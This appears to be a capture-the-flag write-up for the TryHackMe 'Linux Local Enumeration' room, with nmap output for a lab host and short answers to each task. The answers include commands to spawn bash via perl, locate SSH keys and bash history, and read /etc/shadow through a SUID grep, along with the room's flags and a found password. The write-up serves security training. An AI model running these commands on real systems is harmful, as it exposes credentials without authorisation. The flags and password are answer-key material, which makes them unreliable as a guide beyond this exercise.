TryHackMe-Linux Local Enumeration
NMAP
Nmap scan report for 10.10.185.249
Host is up (0.17s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 35:30:91:45:b9:d1:ed:5a:13:42:3e:20:95:6d:c7:b7 (RSA)
| 256 f5:69:6a:7b:c8:ac:89:b5:38:93:50:2f:05:24:22:70 (ECDSA)
|_ 256 8f:4d:37:ba:40:12:05:fa:f0:e6:d6:82:fb:65:52:e8 (ED25519)
80/tcp open http Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Index of /
3000/tcp open http PHP cli server 5.5 or later
|_http-title: Fox's website
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.99 seconds
Gaining a shell
We see through nmap scan that there are 2 ports open 80 and 3000 , we can clearly see that port 3000 has php running so it maybe vulnerable to RCE or something
I'm going to do RCE one so
Task 1 Let's go!
No answer needed
Task 2 How would you execute /bin/bash with perl?
perl -e 'exec "/bin/bash";'
Task 3 Where can you usually find the id_rsa file? (User = user)
/home/user/.ssh/id_rsa
Is there an id_rsa file on the box? (yay/nay)
nay
Task 4 How would you print machine hardware name only?
uname -m
Where can you find bash history?
~/.bash_history
What's the flag?
thm{clear_the_history}
Task 5 Can you read /etc/passwd on the box? (yay/nay)
yay
Task 6 What's the password you found?
THMSkidyPass
Did you find a flag?
thm{conf_file}
Task 7 Which SUID binary has a way to escalate your privileges on the box?
grep
What's the payload you can use to read /etc/shadow with this SUID?
grep '' /etc/shadow